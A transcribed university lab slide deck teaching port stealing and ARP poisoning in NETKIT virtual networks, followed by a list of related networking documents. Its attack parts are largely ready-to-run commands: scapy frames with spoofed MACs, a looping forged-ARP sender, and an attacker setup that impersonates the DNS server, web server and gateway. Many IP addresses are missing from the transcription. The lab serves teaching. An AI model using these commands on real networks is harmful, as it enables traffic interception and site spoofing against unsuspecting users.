Port stealing and ARP poisoning attack simulation with NETKIT

Size: px
Start display at page:

Download "Port stealing and ARP poisoning attack simulation with NETKIT"

Transcription

1 Port stealing and ARP poisoning attack simulation with NETKIT Marco Bonola, Lorenzo Bracciale Corso di Reti di Accesso Tor Vergata Prof. Stefano Salsano A.A

2 Part 1 Port stealing

3 Outline GOAL 1: port stealing attack How do we get there? d bridge emulation with Linux bridge-utilities 2. Switched LAN emulation with NETKIT 3. L2 and L3 packet forging with Python and SCAPY

4 Bridge Utilities Linux bridge-utlities is a program that implements a subset of the ANSI/IEEE 802.1d standard (Media Access Control (MAC) Bridges). By using this tool a Linux station can be transformed in a real switch/bridge as defined in the standard and therefore real (and virtual) interfaces can be bridged together. bridge-utilities also implements STP (Spanning Tree Protocol). Bridge-utilities consists in a Kernel module (networking -> 802.1d Ethernet Bridging) and a user space application (brctl). Debian-like package installation: $ apt-get install bridge-utils

5 How to turn a PC into a switch br0 PC 3 ports SWITCH eth0 eth1 eth2... ethn A virtual interface br0 is created and a subset of the real network interfaces can be interconnected to this virtual interface as they where the actual port of a Ethernet switch. All the 802.1d operations are performed in the OS Kernel.

6 Basic commands Creating/destroyng a bridge device: $ brctl addbr "bridge_name $ brctl delbr "bridge_name Note: Don't set the IP address, and don't let the startup scripts run DHCP on the Ethernet interfaces either. The IP address needs to be set after the bridge has been configured. Adding/deleting interface to a bridge device: $ brctl addif bridge_name device_name $ brctl delif bridge_name device_name Showing devices in a bridge: $ brctl show Showing the forwarding DB: $ brctl showmacs bridge_name Important! Remember to bring the bridge interface UP when all interfaces have been added

7 NETKIT switch emulation vm2 vm3 vm1 eth0 eth0 vmn eth0 eth0 Collision Domain A Collision Domain B Collision Domain N PC2 PC3.. eth1 eth2 eth n Bridged into br0 PC1 HUB PCn VM with BRCTL SWITCH

8 NETKIT lab set-up Iface: eth :00:00:00:00:02 Collision Domain B pc2 iface: eth :00:00:00:00:01 Collision Domain A iface: eth :00:00:00:00:03 Collision Domain C pc1 SWITCH sw1 pc3

9 Lab set-up commands Set root password on the host machine: knoppix:$ su knoppix:# passwd (Enter New Unix Password) knoppix:# exit Start the virtual machines: knoppix:$ vstart pc1 --eth0=a knoppix:$ vstart pc2 --eth0=b knoppix:$ vstart pc3 --eth0=c knoppix:$ vstart sw1 --eth1=a --eth2=b --eth3=c

10 Lab set-up commands Network set-up on virtual machines: pc1: pc1:$ ip link set eth0 up pc1:$ ip link set eth0 address 00:00:00:00:00:01 pc1:$ ip address add /24 dev eth0 pc2: pc2:$ ip link set eth0 up pc2:$ ip link set eth0 address 00:00:00:00:00:02 pc2:$ ip address add /24 dev eth0 pc3: pc3:$ ip link set eth0 up pc3:$ ip link set eth0 address 00:00:00:00:00:03 pc3:$ ip address add /24 dev eth0

11 Lab set-up commands Preliminary set-up on the switch machine sw1: sw1:$ ip link set eth1 up sw1:$ ip link set eth2 up sw1:$ ip link set eth3 up sw1:$ nohup tcpdump -i any -w /hosthome/dump.pcap -s0 & Bridge creation on sw1: sw1:$ brctl addbr br0 sw1:$ brctl addif br0 eth1 sw1:$ brctl addif br0 eth2 sw1:$ brctl addif br0 eth3 sw1:$ ip link set br0 up Launch wireshark on the host machine: knoppix:$ wireshark /home/knoppix/dump.pcap

12 Proof of concept Monitor the forwarding database: sw1:$ watch brctl showmacs br0 grep v yes Let s populate the FDB: pc1:$ ping pc2:$ ping What is on the FDB? port no mac addr is local? ageing time 1 00:00:00:00:00:01 yes :00:00:00:00:02 yes :00:00:00:00:03 yes 1.00 Question: why all stations in the FDB whit only 2 pings?

13 Port stealing attack How to perform it Let s say an attacker (evil0, behind switch port 1) wants to steal pc2 (the victim) port on the switch (port 2). SW1 has to be tricked into thinking that pc2 is behind the same switch port as evil0 (port 1) To do that we evil0 has to send a Ethernet packet with bb:00:00:00:00:02 as source MAC address We say that evil0 has to spoof the victim s MAC address, or in other words to forge an Ethernet packet with spoofed source MAC address evil0 has to send whatever packet (ARP, raw IP, ICMP, empty UDP/TCP, DNS, etc..) with spoofed source MAC address and the switch will update the FDB properly

14 Port stealing: attack scenario iface: eth :00:00:00:00:FF victim Iface: eth :00:00:00:00:02 Collision Domain B Collision Domain A evil0 iface: eth :00:00:00:00:01 HUB pc2 iface: eth :00:00:00:00:03 Collision Domain C pc1 SWITCH sw1 pc3

15 Packet forging Writing tools for packets forging to the Ethernet layer is not as easy as sending data with TCP/UDP standard sockets. To do that we would need to use C raw socket API and write packets field by field (e.g.: eth.src, eth.type, ip.checksum ecc ) We have two different type of raw socket: PF_INET PF_PACKET For those who are interested, take a look at the following brief tutorial about C RAW socket programming:

16 RAW Server Receiving Ethernet frames not addressed to your machine is not trivial MAC implementations silently discard frames addressed to other MAC address (except for multicast Ethernet address) To work around this design limitation we can configure the NIC into promiscuous mode (i.e. to not perform any mac-based filtering at firmware level) Anyway OS Kernel usually filters these packets. To overcome this limitation, we need to open RAW socket. Such sockets short-circuit the application level with the Ethernet level, delivering to your application all the traffic your NIC sees. All further non-ethernet processing is up to your application

17 SCAPY Fortunately someone did this job for us and provided a python library for packet forging scripting. Python is a interpreted and object oriented programming language. SCAPY is a python library that provide (among other things) an interactive shell for packet forging (from L2 to L7). Moreover SCAPY interactive shell provide command for packet transmission, reception and decoding. (this is a simplified view of SCAPY limited to what we are interested in. For a detailed description take a look at:

18 SCAPY example Build a packet layer by layer, send it and wait for the reply: pc:$ sudo scapy >>> a=ip(dst=" id=0x42) >>> a.ttl=12 >>> b=tcp(dport=80, flags= S ) >>> sr1(a/b) What is needed but not specified is automatically done by scapy: 1. ip.src is set by default routing 2. tcp.sport is random 3. a DNS request is automatically sent to resolve 4. all other unspecified fields are set by scapy Just take a look at the C code to see the difference

19 Attacker set-up Start the virtual machine (on host machine): knoppix:$ vstart evil0 --eth0=tap, , eth1=a -M 64 DNS configuration : evil0:$ echo namserver > /etc/resolv.conf Install scapy package: evil0:$ apt-get update evil0:$ apt-get install python-scapy evil0:$ ip link set eth0 down Network set-up: evil0:$ ip link set eth1 up evil0:$ ip link set address 00:00:00:00:00:04 dev eth1 evil0:$ ip address add /24 dev eth1

20 Packet forging and transmission evil0:$ scapy >>> pck = Ether(src= 00:00:00:00:00:02 ) / IP(dst= ) / ICMP() >>> sendp(pck) ETHERNET IP ICMP src: 00:00:00:00:00:02 dst: 00:00:00:00:00:03 type: 0x0800 src: dst: proto: 01 (ICMP) echo request seq: 01

21 Summary 1. What can the victim do to prevent this attack? 2. Why is this attack more theoretical then practical? 3. How the victim can take the switch port back? 4. What can the attacker do to give the port back to the victim? 5. Is there another way to do this attack?

22 Part 2 ARP poisoning

23 Outline 1. NETKIT LAB Setup 2. HTTP connection (from L2 to L7) 3. ARP and Linux 4. ARP poisoning attack 5. Attacker configuration and setup

24 NETKIT LAB Download lab tarball from: stud.netgroup.uniroma2.it/~lorenzo/ra/ra-arp-lab.tar.bz2 temp url: tinyurl.com/esercitazione2 Preliminary operations: knoppix:$ tar xvjf ra-arp-lab.tar.bz2 knoppix:$ cd arp_poisoning/patch knoppix:$ sudo dkpg i patch_2.6-2_i386.deb knoppix:$./apply.sh The LAB is made with LSTART netkit command. For any details man lstart For each folder a vm is started with the same name See lab.conf for network configuration Each machine in the lab starts at startup the script machine.startup Each file in the folder machine/ is overwritten in the filesystem To start the LAB: knoppix:$ arp_poisoning/start_lab

25 NETKIT lab set-up dns Iface:eth evil0 Iface:eth Iface:eth0 DHCP conf. Collision Domain A Iface:eth0 DHCP conf. Iface:eth router Iface:eth DHCP server Iface:tap Knoppix Iface:eth0 DHCP victim UML ( virtual world ) Knoppix Live pc1

26 LAB Setup Lab.conf: router[0]=tap, , router[1]=a dns[0]=a victim[0]=a pc1[0]=a evil0[0]=a evil0[mem]=64 start_lab: #!/bin/bash lstart router pc1 victim evil0 dns

27 router start-up and configuration router.startup: ip link set eth1 up ip link set address 00:00:00:00:00:01 dev eth1 ip address add /24 dev eth1 /etc/init.d/dhcp3-server start echo 1 > /proc/sys/net/ipv4/ip_forward iptables -t nat -A POSTROUTING -s /24 -j MASQUERADE router/etc/dhcp3/dhcpd.conf: option domain-name-servers ; option routers ; default-lease-time 3600; subnet netmask { range ; }

28 dns startup and configuration dns.startup: ip link set eth0 up ip link set address 00:00:00:00:00:02 dev eth0 ip address add /24 dev eth0 ip route add default via /etc/init.d/dnsmasq start Dnsmasq configuration: See dns/etc/dnsmasq.conf and resolv.conf

29 pc1 and victim start-up pc1.startup: dhclient eth0 ip link set address 00:00:00:00:00:10 dev eth0 victim.startup: dhclient eth0 ip link set address 00:00:00:00:00:aa dev eth0 Q: why don t we set the default GW route as for the VMs in lesson 1? Q: what is the difference between this LAN and the one in Lesson 1?

30 What happens when a web browser connects? DNS Hypothesis : ARP and DNS cache empty Client 1. Who is DNS (ARP) 2. Server name resolution (DNS) 3. Who is default GW? (ARP) 4. HTTP get trasmission (HTTP) Router LAN

31 What happens when a web browser connects? Let s try it on pc1: 1. Run tcpdump: pc1:$ nohup tcpdump i eth0 w /hosthome/dump.pcap s0 & 2. Open a web page: pc1:$ links 3. Open wireshark in knoppix: knoppix:$ wireshark /home/knoppix/dump.pcap

32 ARP management in Linux The ARP cache can be is maipulated whit the command ip neighbour. HINT: no need to type neighbour. Try ip n Run man ip for details. 1. Show the cache: pc1:$ ip n show 2. Add a ARP entry: pc1:$ ip n add to ip_addr lladdr mac_addr dev dev_name state state_name (state: permanent, stale, noarp, rachable) 3. Delete a ARP entry: knoppix:$ ip n del to ip_addr dev dev_name 4. Flush the cache: pc1:$ ip n flush dev dev_name state state_name

33 Attack outline Attack GOAL: 1. ARP poisoning attack for DNS server impersonification 2. Wrong DNS resolution for some websites 3. HTTP request serving How do we get there? 1. Network emulation - NETKIT 2. ARP packet forging - SCAPY 3. DNS server impersonification Dnsmasq 4. WEB server impersonification Apache2

34 Attack scenario DNS LAN /24 INTERNET evil0 Spoofed ARP resp. Router DHCP server victim 1a ARP cache poisoning evil0 to victim: I am your DNS server

35 Attack scenario DNS LAN /24 INTERNET evil0 DSN Req/Resp Router DHCP server victim 2a DSN impersonification victim: who is evil0: I m

36 Attack scenario DNS LAN /24 INTERNET evil0 HTTP Router DHCP server victim 3a WEB server impersonification evil0 starts serving HTTP request for

37 Evil0 start-up (part 1) evil0.startup: echo "configuring eth0 interface" ip link set eth0 up ip link set address 00:00:00:00:00:ff dev eth0 ip address add /24 dev eth0 ip route add default via echo "configuring alias and hide it" ip address add /24 dev eth0 ip route add default via arptables -F arptables -A INPUT -d j DROP arptables -A OUTPUT -s j mangle --mangle-ip-s iptables -A OUTPUT -p icmp -s j DROP iptables -A INPUT -p icmp -d j DROP

38 Evil0 start-up (part 2) evil0.startup: /etc/init.d/dnsmasq start /etc/init.d/apache2 start echo "setting DNS nameserver" echo "nameserver " >> /etc/resolv.conf echo "installing scapy" dpkg -i /root/python-support_1.0.6_all.deb dpkg -i /root/python-scapy_ _all.deb

39 Evil0 configuration For DNS configuration see: evil0/etc/dnsmasq.conf evil0/etc/hosts In particular /etc/hosts: WEB data goes into /evil0/var/www/

40 ARP poisoning with SCAPY GOAL: evil0 wants to poison victim s ARP cache and steal DNS s IP address victim - IP: ; L2: 00:00:00:00:00:AA DNS server - IP: evil0 - L2: 00:00:00:00:00:FF evil0:$ scapy >> ips=" " >> ipd=" " >> hs="00:00:00:00:00:ff" >> hd="00:00:00:00:00:aa" >> a=ether(src=hs,dst=hd) >> b=arp(op=2,psrc=ips,pdst=ipd,hwdst=hd,hwsrc=hs) >> p=a/b >> sendp(p,loop=1,inter=1)

41 What s going on? 1. Watch ARP cache victim:$ watch ip n 2. Resolve a name: victim:$ host 3. Open the browser victim:$ links victim:$ links Q: Is there anything we can do? A: ARP and DNS static entry ( ip n add and /etc/hosts file )

42 MIM Attack scenario DNS evil0 Spoofed ARP resp. LAN /24 Router DHCP server INTERNET victim 1b ARP cache poisoning evil0 to victim: I am your default GW evil0 to GW: I am victim (not strictly necessary - NAT)

43 MIM Attack scenario DNS LAN /24 INTERNET evil0 Router DHCP server victim 2b Router impersonification - MIM victim s default GW = evil0 All traffic to outside the LAN is routed through the attacker evil0

Corso di Configurazione e Gestione di Reti Locali

Corso di Configurazione e Gestione di Reti Locali Corso di Configurazione e Gestione di Reti Locali Marco Bonola Lorenzo Bracciale A.A. 2011/2012 TOC Netkit: installation, configuration, use Lab0-interfaces: basic IP configuration IP Networking (ifconfig,

More information

LAB THREE STATIC ROUTING

LAB THREE STATIC ROUTING LAB THREE STATIC ROUTING In this lab you will work with four different network topologies. The topology for Parts 1-4 is shown in Figure 3.1. These parts address router configuration on Linux PCs and a

More information

NETWORK EMULATION AND NETKIT

NETWORK EMULATION AND NETKIT NETWORK EMULATION AND NETKIT Gestão e Segurança de Redes / Gestão de Redes e Serviços LERC / MEIC- T 2013/14 Artur M. Arsénio & Miguel P. Correia CLASS OBJECTIVES To understand what is meant by network

More information

Bridgewalling - Using Netfilter in Bridge Mode

Bridgewalling - Using Netfilter in Bridge Mode Bridgewalling - Using Netfilter in Bridge Mode Ralf Spenneberg, ralf@spenneberg.net Revision : 1.5 Abstract Firewalling using packet filters is usually performed by a router. The packet filtering software

More information

Network Administration and Monitoring

Network Administration and Monitoring Network Administration and Monitoring Alessandro Barenghi Dipartimento di Elettronica, Informazione e Bioingengeria Politecnico di Milano barenghi - at - elet.polimi.it April 17, 2013 Recap What did we

More information

Packet Sniffing and Spoofing Lab

Packet Sniffing and Spoofing Lab SEED Labs Packet Sniffing and Spoofing Lab 1 Packet Sniffing and Spoofing Lab Copyright c 2014 Wenliang Du, Syracuse University. The development of this document is/was funded by the following grants from

More information

Information Security Training. Assignment 1 Networking

Information Security Training. Assignment 1 Networking Information Security Training Assignment 1 Networking By Justin C. Klein Keane September 28, 2012 Assignment 1 For this assignment you will utilize several networking utilities

More information

Local DNS Attack Lab. 1 Lab Overview. 2 Lab Environment. SEED Labs Local DNS Attack Lab 1

Local DNS Attack Lab. 1 Lab Overview. 2 Lab Environment. SEED Labs Local DNS Attack Lab 1 SEED Labs Local DNS Attack Lab 1 Local DNS Attack Lab Copyright c 2006 Wenliang Du, Syracuse University. The development of this document was partially funded by the National Science Foundation s Course,

More information

Performance Evaluation of Linux Bridge

Performance Evaluation of Linux Bridge Performance Evaluation of Linux Bridge James T. Yu School of Computer Science, Telecommunications, and Information System (CTI) DePaul University ABSTRACT This paper studies a unique network feature, Ethernet

More information

THE HONG KONG POLYTECHNIC UNIVERSITY Department of Electronic and Information Engineering

THE HONG KONG POLYTECHNIC UNIVERSITY Department of Electronic and Information Engineering THE HONG KONG POLYTECHNIC UNIVERSITY Department of Electronic and Information Engineering ENG 224 Information Technology Laboratory 6: Internet Connection Sharing Objectives: Build a private network that

More information

IP Address: the per-network unique identifier used to find you on a network

IP Address: the per-network unique identifier used to find you on a network Linux Networking What is a network? A collection of devices connected together Can use IPv4, IPv6, other schemes Different devices on a network can talk to each other May be walls to separate different

More information

A New Approach to Developing High-Availability Server

A New Approach to Developing High-Availability Server A New Approach to Developing High-Availability Server James T. Yu, Ph.D. School of Computer Science, Telecommunications, and Information Systems DePaul University jyu@cs.depaul.edu ABSTRACT This paper

More information

BASIC ANALYSIS OF TCP/IP NETWORKS

BASIC ANALYSIS OF TCP/IP NETWORKS BASIC ANALYSIS OF TCP/IP NETWORKS INTRODUCTION Communication analysis provides powerful tool for maintenance, performance monitoring, attack detection, and problems fixing in computer networks. Today networks

More information

Firewalls. Chien-Chung Shen cshen@cis.udel.edu

Firewalls. Chien-Chung Shen cshen@cis.udel.edu Firewalls Chien-Chung Shen cshen@cis.udel.edu The Need for Firewalls Internet connectivity is essential however it creates a threat vs. host-based security services (e.g., intrusion detection), not cost-effective

More information

Version Author(s) E-mail Web Description

Version Author(s) E-mail Web Description Università degli Studi Roma Tre Dipartimento di Informatica e Automazione Computer Networks Research Group Netkit The poor man s system for experimenting computer networking Version Author(s) E-mail Web

More information

Advanced routing scenarios POLICY BASED ROUTING: CONCEPTS AND LINUX IMPLEMENTATION

Advanced routing scenarios POLICY BASED ROUTING: CONCEPTS AND LINUX IMPLEMENTATION Advanced routing scenarios POLICY BASED ROUTING: CONCEPTS AND LINUX IMPLEMENTATION What is wrong with standard IP forwarding? The IP forwarding algorithm selects the route according to the destination

More information

Smoothwall Web Filter Deployment Guide

Smoothwall Web Filter Deployment Guide Smoothwall Web Filter Deployment Guide v1.0.7 Copyright 2013 Loadbalancer.org, Inc. 1 Table of Contents About this Guide... 3 Loadbalancer.org Appliances Supported...3 Loadbalancer.org Software Versions

More information

pp=pod number, xxx=static IP address assigned to your pod

pp=pod number, xxx=static IP address assigned to your pod Lab 6: Dynamic Host Configuration Protocol The purpose of this lab is to configure a DHCP server for multiple subnets. You will configure additional options along with an IP address and netmask, and you

More information

Quick Note 53. Ethernet to W-WAN failover with logical Ethernet interface.

Quick Note 53. Ethernet to W-WAN failover with logical Ethernet interface. Quick Note 53 Ethernet to W-WAN failover with logical Ethernet interface. Digi Support August 2015 1 Contents 1 Introduction... 2 1.1 Introduction... 2 1.2 Assumptions... 3 1.3 Corrections... 3 2 Version...

More information

Lab Objectives & Turn In

Lab Objectives & Turn In Firewall Lab This lab will apply several theories discussed throughout the networking series. The routing, installing/configuring DHCP, and setting up the services is already done. All that is left for

More information

Load Balancing Web Proxies Load Balancing Web Filters Load Balancing Web Gateways. Deployment Guide

Load Balancing Web Proxies Load Balancing Web Filters Load Balancing Web Gateways. Deployment Guide Load Balancing Web Proxies Load Balancing Web Filters Load Balancing Web Gateways Deployment Guide rev. 1.4.9 Copyright 2015 Loadbalancer.org, Inc. 1 Table of Contents About this Guide... 3 Appliances

More information

Load Balancing McAfee Web Gateway. Deployment Guide

Load Balancing McAfee Web Gateway. Deployment Guide Load Balancing McAfee Web Gateway Deployment Guide rev. 1.1.4 Copyright 2015 Loadbalancer.org, Inc. 1 Table of Contents About this Guide... 3 Loadbalancer.org Appliances Supported...3 Loadbalancer.org

More information

Intrusion Detection and Prevention: Network and IDS Configuration and Monitoring using Snort

Intrusion Detection and Prevention: Network and IDS Configuration and Monitoring using Snort License Intrusion Detection and Prevention: Network and IDS Configuration and Monitoring using Snort This work by Z. Cliffe Schreuders at Leeds Metropolitan University is licensed under a Creative Commons

More information

MITM Man in the Middle

MITM Man in the Middle MITM Man in the Middle Wifi Packet Capturing and Session Hijacking using Wireshark Introduction The main Objective of this Attack is to make a Fake Access point and send the fake ARP Packets on same Wi-Fi

More information

How to Create, Setup, and Configure an Ubuntu Router with a Transparent Proxy.

How to Create, Setup, and Configure an Ubuntu Router with a Transparent Proxy. In this tutorial I am going to explain how to setup a home router with transparent proxy using Linux Ubuntu and Virtualbox. Before we begin to delve into the heart of installing software and typing in

More information

Load Balancing Trend Micro InterScan Web Gateway

Load Balancing Trend Micro InterScan Web Gateway Load Balancing Trend Micro InterScan Web Gateway Deployment Guide rev. 1.1.7 Copyright 2002 2015 Loadbalancer.org, Inc. 1 Table of Contents About this Guide... 3 Loadbalancer.org Appliances Supported...

More information

Load Balancing Sophos Web Gateway. Deployment Guide

Load Balancing Sophos Web Gateway. Deployment Guide Load Balancing Sophos Web Gateway Deployment Guide rev. 1.0.9 Copyright 2002 2015 Loadbalancer.org, Inc. 1 Table of Contents About this Guide...3 Loadbalancer.org Appliances Supported...3 Loadbalancer.org

More information

Linux Network Security

Linux Network Security Linux Network Security Course ID SEC220 Course Description This extremely popular class focuses on network security, and makes an excellent companion class to the GL550: Host Security course. Protocols

More information

netkit lab MPLS VPNs with overlapping address spaces 1.0 S.Filippi, L.Ricci, F.Antonini Version Author(s)

netkit lab MPLS VPNs with overlapping address spaces 1.0 S.Filippi, L.Ricci, F.Antonini Version Author(s) netkit lab MPLS VPNs with overlapping address spaces Version Author(s) 1.0 S.Filippi, L.Ricci, F.Antonini E-mail Web Description silvia.filippi@kaskonetworks.it http://www.kaksonetworks.it/ A lab showing

More information

Tools for Attacking Layer 2 Network Infrastructure

Tools for Attacking Layer 2 Network Infrastructure Tools for Attacking Layer 2 Network Infrastructure Kai-Hau Yeung, Dereck Fung, and Kin-Yeung Wong Abstract Data Link layer is considered as the weakest link in a secured network. If an initial attack comes

More information

Protecting and controlling Virtual LANs by Linux router-firewall

Protecting and controlling Virtual LANs by Linux router-firewall Protecting and controlling Virtual LANs by Linux router-firewall Tihomir Katić Mile Šikić Krešimir Šikić Faculty of Electrical Engineering and Computing University of Zagreb Unska 3, HR 10000 Zagreb, Croatia

More information

Computer Networks/DV2 Lab

Computer Networks/DV2 Lab Computer Networks/DV2 Lab Room: BB 219 Additional Information: http://www.fb9dv.uni-duisburg.de/ti/en/education/teaching/ss08/netlab Equipment for each group: - 1 Server computer (OS: Windows 2000 Advanced

More information

Technical Support Information Belkin internal use only

Technical Support Information Belkin internal use only The fundamentals of TCP/IP networking TCP/IP (Transmission Control Protocol / Internet Protocols) is a set of networking protocols that is used for communication on the Internet and on many other networks.

More information

Create bridges, add ports, show bridge and port statistics, status, as well as the OVS database

Create bridges, add ports, show bridge and port statistics, status, as well as the OVS database 1 Introduction This document provides instructions on how to configure Pica8 s open switches to work in various application scenarios This document assumes the reader with minimal to no knowledge of the

More information

Host Configuration (Linux)

Host Configuration (Linux) : Location Date Host Configuration (Linux) Trainer Name Laboratory Exercise: Host Configuration (Linux) Objectives In this laboratory exercise you will complete the following tasks: Check for IPv6 support

More information

TCP/IP Network Essentials. Linux System Administration and IP Services

TCP/IP Network Essentials. Linux System Administration and IP Services TCP/IP Network Essentials Linux System Administration and IP Services Layers Complex problems can be solved using the common divide and conquer principle. In this case the internals of the Internet are

More information

Red Hat Linux Networking

Red Hat Linux Networking The information presented should act as a guide to Red Hat Linux networking. It is intended to be accompanied with training and self study. To access most of these items you will need to have root access,

More information

Load Balancing Bloxx Web Filter. Deployment Guide

Load Balancing Bloxx Web Filter. Deployment Guide Load Balancing Bloxx Web Filter Deployment Guide rev. 1.1.8 Copyright 2002 2016 Loadbalancer.org, Inc. 1 Table of Contents About this Guide...4 Loadbalancer.org Appliances Supported...4 Loadbalancer.org

More information

Lab 1: Introduction to the network lab

Lab 1: Introduction to the network lab CSCI 312 - DATA COMMUNICATIONS AND NETWORKS FALL, 2014 Lab 1: Introduction to the network lab NOTE: Be sure to bring a flash drive to the lab; you will need it to save your data. For this and future labs,

More information

Definition of firewall

Definition of firewall Internet Firewalls Definitions: firewall, policy, router, gateway, proxy NAT: Network Address Translation Source NAT, Destination NAT, Port forwarding NAT firewall compromise via UPnP/IGD Packet filtering

More information

Linux Routers and Community Networks

Linux Routers and Community Networks Summer Course at Mekelle Institute of Technology. July, 2015. Linux Routers and Community Networks Llorenç Cerdà-Alabern http://personals.ac.upc.edu/llorenc llorenc@ac.upc.edu Universitat Politènica de

More information

Lab 1: Network Devices and Technologies - Capturing Network Traffic

Lab 1: Network Devices and Technologies - Capturing Network Traffic CompTIA Security+ Lab Series Lab 1: Network Devices and Technologies - Capturing Network Traffic CompTIA Security+ Domain 1 - Network Security Objective 1.1: Explain the security function and purpose of

More information

netkit lab static-routing Università degli Studi Roma Tre Dipartimento di Informatica e Automazione Computer Networks Research Group

netkit lab static-routing Università degli Studi Roma Tre Dipartimento di Informatica e Automazione Computer Networks Research Group Università degli Studi Roma Tre Dipartimento di Informatica e Automazione Computer Networks Research Group netkit lab static-routing Version Author(s) E-mail Web Description 2.2 G. Di Battista, M. Patrignani,

More information

Workshop on Scientific Applications for the Internet of Things (IoT) March 16-27 2015

Workshop on Scientific Applications for the Internet of Things (IoT) March 16-27 2015 Workshop on Scientific Applications for the Internet of Things (IoT) March 16-27 2015 IPv6 in practice with RPi Alvaro Vives - alvaro@nsrc.org Contents 1 Lab topology 2 IPv6 Configuration 2.1 Linux commands

More information

DNS Pharming Attack Lab

DNS Pharming Attack Lab CNT 5410 - Fall 2014 1 DNS Pharming Attack Lab (This is a modified version of the exercise listed below. Modifications are to provide tighter configuration so as to minimize the risk of traffic leaving

More information

Network Traffic Analysis

Network Traffic Analysis 2013 Network Traffic Analysis Gerben Kleijn and Terence Nicholls 6/21/2013 Contents Introduction... 3 Lab 1 - Installing the Operating System (OS)... 3 Lab 2 Working with TCPDump... 4 Lab 3 - Installing

More information

How To Set Up A Network Map In Linux On A Ubuntu 2.5 (Amd64) On A Raspberry Mobi) On An Ubuntu 3.5.2 (Amd66) On Ubuntu 4.5 On A Windows Box

How To Set Up A Network Map In Linux On A Ubuntu 2.5 (Amd64) On A Raspberry Mobi) On An Ubuntu 3.5.2 (Amd66) On Ubuntu 4.5 On A Windows Box CSC-NETLAB Packet filtering with Iptables Group Nr Name1 Name2 Name3 Date Instructor s Signature Table of Contents 1 Goals...2 2 Introduction...3 3 Getting started...3 4 Connecting to the virtual hosts...3

More information

Load Balancing Clearswift Secure Web Gateway

Load Balancing Clearswift Secure Web Gateway Load Balancing Clearswift Secure Web Gateway Deployment Guide rev. 1.1.8 Copyright 2002 2016 Loadbalancer.org, Inc. 1 Table of Contents About this Guide...3 Loadbalancer.org Appliances Supported...3 Loadbalancer.org

More information

Load Balancing Smoothwall Secure Web Gateway

Load Balancing Smoothwall Secure Web Gateway Load Balancing Smoothwall Secure Web Gateway Deployment Guide rev. 1.1.7 Copyright 2002 2015 Loadbalancer.org, Inc. 1 Table of Contents About this Guide...3 Loadbalancer.org Appliances Supported...3 Loadbalancer.org

More information

This Lecture. The Internet and Sockets. The Start 1969. If everyone just sends a small packet of data, they can all use the line at the same.

This Lecture. The Internet and Sockets. The Start 1969. If everyone just sends a small packet of data, they can all use the line at the same. This Lecture The Internet and Sockets Computer Security Tom Chothia How the Internet works. Some History TCP/IP Some useful network tools: Nmap, WireShark Some common attacks: The attacker controls the

More information

50.XXX is based on your station number

50.XXX is based on your station number Lab 6: Dynamic Host Configuration Protocol The purpose of this lab is to configure a DHCP server for multiple subnets. You will configure additional options along with an IP address and netmask, and you

More information

netkit lab Università degli Studi Roma Tre Dipartimento di Informatica e Automazione Computer Networks Research Group Version 1.

netkit lab Università degli Studi Roma Tre Dipartimento di Informatica e Automazione Computer Networks Research Group Version 1. Università degli Studi Roma Tre Dipartimento di Informatica e Automazione Computer Networks Research Group netkit lab walkthrough Version 1.3 Author(s) Massimo Rimondini E-mail Web Description contact@netkit.org

More information

walkthrough Università degli Studi Roma Tre Dipartimento di Informatica e Automazione Computer Networks Research Group Version 1.

walkthrough Università degli Studi Roma Tre Dipartimento di Informatica e Automazione Computer Networks Research Group Version 1. Università degli Studi Roma Tre Dipartimento di Informatica e Automazione Computer Networks Research Group netkit lab walkthrough Version 1.2 Author(s) Massimo Rimondini E-mail Web Description contact@netkit.org

More information

Packet filtering with Linux

Packet filtering with Linux LinuxFocus article number 289 http://linuxfocus.org Packet filtering with Linux by Vincent Renardias About the author: GNU/Linux user since 1993, Vincent Renardias started to

More information

Part 4: Virtual Private Networks

Part 4: Virtual Private Networks Universität Passau Security Insider Lab I: Infrastructure Security WS15 Part 4: Virtual Private Networks Ahmed Azri Emna Maâtoug February 11, 2016 Advisor: Oussama Mahjoub, Bouthayna Belgacem Contents

More information

802.11 Security. Inaccessible Star? Philippe TEUWENCédric BLANCHER. Hack.lu 2006 October 19-21 http://hack.lu/

802.11 Security. Inaccessible Star? Philippe TEUWENCédric BLANCHER. Hack.lu 2006 October 19-21 http://hack.lu/ Inaccessible Star? Philippe TEUWEN Cédric BLANCHER Hack.lu 2006 October 19-21 http://hack.lu/ Agenda 1 2 3 Bidirectional station isolation bypass 4 5 Demos Bibliography Agenda 1 2 3 Bidirectional station

More information

Procedure: You can find the problem sheet on Drive D: of the lab PCs. Part 1: Router & Switch

Procedure: You can find the problem sheet on Drive D: of the lab PCs. Part 1: Router & Switch University of Jordan Faculty of Engineering & Technology Computer Engineering Department Computer Networks Laboratory 907528 Lab. 2 Network Devices & Packet Tracer Objectives 1. To become familiar with

More information

Load Balancing - Single Multipath Route HOWTO

Load Balancing - Single Multipath Route HOWTO Load Balancing - Single Multipath Route HOWTO Shakthi Kannan, shaks_wants_no_spam_at_shakthimaan_dot_com January 5, 2007 Revision: 1.2 Abstract This documentation provides the steps to setup load-balancing

More information

The Barracuda Network Connector. System Requirements. Barracuda SSL VPN

The Barracuda Network Connector. System Requirements. Barracuda SSL VPN Barracuda SSL VPN The Barracuda SSL VPN allows you to define and control the level of access that your external users have to specific resources inside your internal network. For users such as road warriors

More information

Advanced Internetworking

Advanced Internetworking Advanced Internetworking Lab 5 - Multimedia networking rev 1.0 Markus Hidell Voravit Tanyingyong Royal Institute of Technology (KTH) Telecommunication Systems Lab (TSlab)

More information

19531 - Telematics. 14th Tutorial - Proxies, Firewalls, P2P

19531 - Telematics. 14th Tutorial - Proxies, Firewalls, P2P 19531 - Telematics 14th Tutorial - Proxies, Firewalls, P2P Bastian Blywis Department of Mathematics and Computer Science Institute of Computer Science 10. February, 2011 Institute of Computer Science Telematics

More information

Module I-7410 Advanced Linux FS-11 Part1: Virtualization with KVM

Module I-7410 Advanced Linux FS-11 Part1: Virtualization with KVM Bern University of Applied Sciences Engineering and Information Technology Module I-7410 Advanced Linux FS-11 Part1: Virtualization with KVM By Franz Meyer Version 1.0 February 2011 Virtualization Architecture

More information

Introduction to Analyzer and the ARP protocol

Introduction to Analyzer and the ARP protocol Laboratory 6 Introduction to Analyzer and the ARP protocol Objetives Network monitoring tools are of interest when studying the behavior of network protocols, in particular TCP/IP, and for determining

More information

During your session you will have access to the following lab configuration. CLIENT1 (Windows XP Workstation) 192.168.0.2 /24

During your session you will have access to the following lab configuration. CLIENT1 (Windows XP Workstation) 192.168.0.2 /24 Introduction The Network Vulnerabilities module provides you with the instruction and Server hardware to develop your hands on skills in the defined topics. This module includes the following exercises:

More information

